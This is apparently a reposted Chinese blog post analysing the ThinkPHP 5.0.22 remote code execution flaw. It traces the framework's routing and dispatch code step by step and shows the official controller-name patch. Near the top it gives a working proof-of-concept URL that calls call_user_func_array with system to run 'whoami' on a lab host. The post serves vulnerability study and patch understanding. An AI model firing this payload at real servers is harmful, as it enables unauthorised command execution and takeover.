thinkphp5.0.22遠程代碼執行漏洞分析及復現


  雖然網上已經有幾篇公開的漏洞分析文章,但都是針對5.1版本的,而且看起來都比較抽象;我沒有深入分析5.1版本,但看了下網上分析5.1版本漏洞的文章,發現雖然POC都是一樣的,但它們的漏洞觸發原因是不同的。本文分析5.0.22版本的遠程代碼執行漏洞,分析過程如下:

  (1)漏洞復現

  環境php5.5.38+apache。

  POC:http://172.19.77.44/thinkphp_5.0.22_with_extend/public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

  

  (2)漏洞分析

  看下應用入口文件.\thinkphp_5.0.22_with_extend\public\index.php

1 // 定義應用目錄
2 define('APP_PATH', __DIR__ . '/../application/');
3 // 加載框架引導文件
4 require __DIR__ . '/../thinkphp/start.php';

  跟進/../thinkphp/start.php

1 namespace think;
2 
3 // ThinkPHP 引導文件
4 // 1. 加載基礎文件
5 require __DIR__ . '/base.php';
6 
7 // 2. 執行應用
8 App::run()->send();

  第8行中的App::run相當於think/App:run,跟進.\thinkphp_5.0.22_with_extend\thinkphp\library\think\App.php的run函數

 1     public static function run(Request $request = null)
 2     {
 3 
 4         $request = is_null($request) ? Request::instance() : $request;
 5 
 6         try {
 7             $config = self::initCommon();
 8 
 9             // 模塊/控制器綁定
10             if (defined('BIND_MODULE')) {
11                 BIND_MODULE && Route::bind(BIND_MODULE);
12             } elseif ($config['auto_bind_module']) {
13 .........................

  此時進入run函數,因為漏洞POC與框架的url處理有關,所以直接跟到URL路由檢測函數,關鍵代碼如下:

 1             // 監聽 app_dispatch
 2             Hook::listen('app_dispatch', self::$dispatch);
 3             // 獲取應用調度信息
 4             $dispatch = self::$dispatch;
 5 
 6             // 未設置調度信息則進行 URL 路由檢測
 7             if (empty($dispatch)) {
 8                 $dispatch = self::routeCheck($request, $config);
 9             }
10             //var_dump($dispatch['module']);

  

  因上述代碼中的第7行的變量$dispatch為空,所以進入第8行的routeCheck函數,跟入到此函數,關鍵代碼如下:

 1     public static function routeCheck($request, array $config)
 2     {
 3         $path   = $request->path();
 4         $depr   = $config['pathinfo_depr'];
 5         $result = false;
 6 
 7         // 路由檢測
 8         $check = !is_null(self::$routeCheck) ? self::$routeCheck : $config['url_route_on'];
 9         if ($check) {
10             // 開啟路由
11             if (is_file(RUNTIME_PATH . 'route.php')) {
12                 // 讀取路由緩存
13                 $rules = include RUNTIME_PATH . 'route.php';
14                 is_array($rules) && Route::rules($rules);

        

  上述代碼中第3行代碼得到POC中的路徑,路徑變量$path為index/think\app/invokefunction,POC中剩余變量存儲在$_GET中,繼續往下跟routeCheck函數,關鍵代碼如下:

 1             // 路由檢測(根據路由定義返回不同的URL調度)
 2             $result = Route::check($request, $path, $depr, $config['url_domain_deploy']);
 3             $must   = !is_null(self::$routeMust) ? self::$routeMust : $config['url_route_must'];
 4 
 5             if ($must && false === $result) {
 6                 // 路由無效
 7                 throw new RouteNotFoundException();
 8             }
 9         }
10 
11         // 路由無效 解析模塊/控制器/操作/參數... 支持控制器自動搜索
12         if (false === $result) {
13             $result = Route::parseUrl($path, $depr, $config['controller_auto_search']); 14         }
15 //      var_dump($result['module']);
16         return $result;
17     }
18 
19     /**

  上述代碼中因變量$result為假,所以會進入第13行代碼的Route::parseUrl函數,此函數用來解析變量$path(index/think\app/invokefunction),跟進到此函數,關鍵代碼如下:

 1     public static function parseUrl($url, $depr = '/', $autoSearch = false)
 2     {
 3 
 4         if (isset(self::$bind['module'])) {
 5             $bind = str_replace('/', $depr, self::$bind['module']);
 6             // 如果有模塊/控制器綁定
 7             $url = $bind . ('.' != substr($bind, -1) ? $depr : '') . ltrim($url, $depr);
 8         }
 9         $url              = str_replace($depr, '|', $url);
10         list($path, $var) = self::parseUrlPath($url);
11         $route            = [null, null, null];
12         if (isset($path)) {
13             // 解析模塊
14             $module = Config::get('app_multi_module') ? array_shift($path) : null;
15             if ($autoSearch) {
16                 // 自動搜索控制器

   

  上述代碼的第9行會將變量$url中的符號'/'替換為'|',接着會進入第10行的parseUrlPath函數,關鍵代碼如下:

 1     private static function parseUrlPath($url)
 2     {
 3         // 分隔符替換 確保路由定義使用統一的分隔符
 4         $url = str_replace('|', '/', $url);
 5         $url = trim($url, '/');
 6         $var = [];
 7         if (false !== strpos($url, '?')) {
 8             // [模塊/控制器/操作?]參數1=值1&參數2=值2...
 9             $info = parse_url($url);
10             $path = explode('/', $info['path']);
11             parse_str($info['query'], $var);
12         } elseif (strpos($url, '/')) {
13             // [模塊/控制器/操作]
14             $path = explode('/', $url);
15         } else {
16             $path = [$url];
17         }
18         return [$path, $var];
19     }

  跟到上述代碼中的第13行,它會將變量$url變為數組,此時$path數組的值為如下圖所示

  

  此時重新返回到parseUrl函數,繼續往下跟,跟到解析控制器部分,關鍵代碼如下:

 1             } else {
 2                 // 解析控制器
 3                 $controller = !empty($path) ? array_shift($path) : null;
 4             }
 5             // 解析操作
 6             $action = !empty($path) ? array_shift($path) : null;
 7             // 解析額外參數
 8             self::parseUrlParams(empty($path) ? '' : implode('|', $path));
 9             // 封裝路由
10             $route = [$module, $controller, $action];
11             // 檢查地址是否被定義過路由
12             $name  = strtolower($module . '/' . Loader::parseName($controller, 1) . '/' . $action);
13             $name2 = '';
14             if (empty($module) || isset($bind) && $module == $bind) {
15                 $name2 = strtolower(Loader::parseName($controller, 1) . '/' . $action);
16             }
17 
18             if (isset(self::$rules['name'][$name]) || isset(self::$rules['name'][$name2])) {
19                 throw new HttpException(404, 'invalid request:' . str_replace('|', $depr, $url));
20             }
21         }
22         return ['type' => 'module', 'module' => $route];

  

  上述代碼中第3行、第6行會得到控制器和操作方法等,然后會封裝路由,數組變量$route如下圖所示:

  

  上述代碼中第22行代碼后會以數組的形式返回到routeCheck函數,關鍵代碼如下:

1         // 路由無效 解析模塊/控制器/操作/參數... 支持控制器自動搜索
2         if (false === $result) {
3             $result = Route::parseUrl($path, $depr, $config['controller_auto_search']);
4         }
5 //      var_dump($result['module']);
6         return $result;
7     }

  上述代碼中由第3行的數組變量$result接受返回的數據,第6行再將數組變量$result結果返回到run函數中,關鍵代碼如下:

 1            if (empty($dispatch)) {
 2                 $dispatch = self::routeCheck($request, $config);
 3             }
 4             //var_dump($dispatch['module']);
 5             // 記錄當前調度信息
 6             $request->dispatch($dispatch);
 7 
 8             // 記錄路由和請求信息
 9             if (self::$debug) {
10                 Log::record('[ ROUTE ] ' . var_export($dispatch, true), 'info');
11                 Log::record('[ HEADER ] ' . var_export($request->header(), true), 'info');
12                 Log::record('[ PARAM ] ' . var_export($request->param(), true), 'info');
13             }
14 
15             // 監聽 app_begin
16             Hook::listen('app_begin', $dispatch);
17 
18             // 請求緩存檢查
19             $request->cache(
20                 $config['request_cache'],
21                 $config['request_cache_expire'],
22                 $config['request_cache_except']
23             );
24 
25             $data = self::exec($dispatch, $config); 26         } catch (HttpResponseException $exception) {
27             $data = $exception->getResponse();
28         }

  上述代碼中第2行的變量$dispatch接受返回的數組變量$result的值,$dispatch結果如下圖所示:

          

   繼續跟到上述代碼中的第25行的exec函數,它是用來做執行操作的,關鍵代碼如下:

 1     protected static function exec($dispatch, $config)
 2     {
 3         switch ($dispatch['type']) {
 4             case 'redirect': // 重定向跳轉
 5                 $data = Response::create($dispatch['url'], 'redirect')
 6                     ->code($dispatch['status']);
 7                 break;
 8             case 'module': // 模塊/控制器/操作
 9                 $data = self::module(
10                     $dispatch['module'],
11                     $config,
12                     isset($dispatch['convert']) ? $dispatch['convert'] : null
13                 );

  上述代碼中因第3行的$dispatch['type']為module,所以會跳到第8行,跟進module函數,關鍵代碼如下:

1     public static function module($result, $config, $convert = null)
2     {
3         if (is_string($result)) {
4             $result = explode('/', $result);
5         }
6 
7         $request = Request::instance();
8 
9         if ($config['app_multi_module']) {

  上述代碼中數組變量$result的值如下圖所示:

  

  繼續跟進module函數,關鍵代碼如下:

 1         // 是否自動轉換控制器和操作名
 2         $convert = is_bool($convert) ? $convert : $config['url_convert'];
 3 
 4         // 獲取控制器名
 5         $controller = strip_tags($result[1] ?: $config['default_controller']);
      //官方給的補丁位置
          if (!preg_match('/^[A-Za-z](\w|\.)*$/', $controller)) {
            throw new HttpException(404, 'controller not exists:' . $controller);
          }
6 $controller = $convert ? strtolower($controller) : $controller; 7 8 // 獲取操作名 9 $actionName = strip_tags($result[2] ?: $config['default_action']); 10 if (!empty($config['action_convert'])) { 11 $actionName = Loader::parseName($actionName, 1); 12 } else { 13 $actionName = $convert ? strtolower($actionName) : $actionName; 14 }

  其中第5行的變量$controller代表控制器名,它就是數組變量$result的第二個元素的值(think\app),上述代碼中標紅部分正是官方給出的補丁,它對控制器名加了一個驗證。繼續往下跟,關鍵代碼如下:

 

1             $actionName = $convert ? strtolower($actionName) : $actionName;
2         }
3 
4         // 設置當前請求的控制器、操作
5         $request->controller(Loader::parseName($controller, 1))->action($actionName);
6 
7         // 監聽module_init
8         Hook::listen('module_init', $request);

  

  上述代碼第5行會設置請求的控制器和操作,操作名變量$actionName為invokefunction,繼續往下跟module函數,關鍵代碼如下:

 1         $vars = [];
 2         if (is_callable([$instance, $action])) {
 3             // 執行操作方法
 4             $call = [$instance, $action];
 5             // 嚴格獲取當前操作方法名
 6             $reflect    = new \ReflectionMethod($instance, $action);
 7             $methodName = $reflect->getName();
 8             $suffix     = $config['action_suffix'];
 9             $actionName = $suffix ? substr($methodName, 0, -strlen($suffix)) : $methodName;
10             $request->action($actionName);
11 
12         } elseif (is_callable([$instance, '_empty'])) {

  

  上述代碼中的第2行is_callable因驗證think\app中存在invokefunction方法,所以會進入到這個if語句,第6行代碼會獲取類名和方法名,繼續跟到module函數末尾,代碼如下:

1         }
2 
3         Hook::listen('action_begin', $call);
4 
5         return self::invokeMethod($call, $vars);
6     }

  上述代碼的第5行會調用invokeMethod函數,變量$var為空,變量$call的值如下圖所示:

  

  跟入invokeMethod函數,關鍵代碼如下:

 1     public static function invokeMethod($method, $vars = [])
 2     {
 3         if (is_array($method)) {
 4             $class   = is_object($method[0]) ? $method[0] : self::invokeClass($method[0]);
 5             $reflect = new \ReflectionMethod($class, $method[1]);
 6         } else {
 7             // 靜態方法
 8             $reflect = new \ReflectionMethod($method);
 9         }
10 
11         $args = self::bindParams($reflect, $vars);
12 
13         self::$debug && Log::record('[ RUN ] ' . $reflect->class . '->' . $reflect->name . '[ ' . $reflect->getFileName() . ' ]', 'info');
14 
15         return $reflect->invokeArgs(isset($class) ? $class : null, $args);
16     }

  上述代碼的第11行數組變量$args會獲取POC中的余下的參數function=call_user_func_array&vars[0]=system&vars[1][]=whoami的值,結果如下圖所示:

  

  上述代碼中的第15行會調用invokeArgs函數,此函數的作用是使用數組方法給函數傳遞參數,並執行函數,所以最終執行call_user_func_array函數。此時會返回到exec函數,關鍵代碼如下:

 1     protected static function exec($dispatch, $config)
 2     {
 3         switch ($dispatch['type']) {
 4             case 'redirect': // 重定向跳轉
 5                 $data = Response::create($dispatch['url'], 'redirect')
 6                     ->code($dispatch['status']);
 7                 break;
 8             case 'module': // 模塊/控制器/操作
 9                 $data = self::module(
10                     $dispatch['module'],
11                     $config,
12                     isset($dispatch['convert']) ? $dispatch['convert'] : null
13                 );
14                 break;
15             case 'controller': // 執行控制器操作

  上述代碼中的第5行的變量$data會接受最后的執行數據的值,結果如下圖所示,看以看到命令已經執行成功了。

  

  (3)小結

  后面的執行細節就不跟了,以上就是版本5.0.22漏洞的分析過程,此漏洞產生的關鍵原因在routeCheck函數中,關鍵代碼如下:

1         // 路由無效 解析模塊/控制器/操作/參數... 支持控制器自動搜索
2         if (false === $result) {
3             $result = Route::parseUrl($path, $depr, $config['controller_auto_search']);
4         }
5 //      var_dump($result['module']);
6         return $result;
7     }

  上述代碼中第3行的Route::parseUrl函數只是簡單的將變量$path=index/think\app/invokefunction按斜杠符號'/'分組,並沒有考慮符號反斜杠'\'的情況,$result的值為如下如所示:

  

  最終導致傳入exec函數的控制器為think\app,而最后通過$reflect->invokeArgs(isset($class) ? $class : null, $args)來解析類和參數,從而導致命令執行漏洞。

  正在學習中,分析不當之處還請指正。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM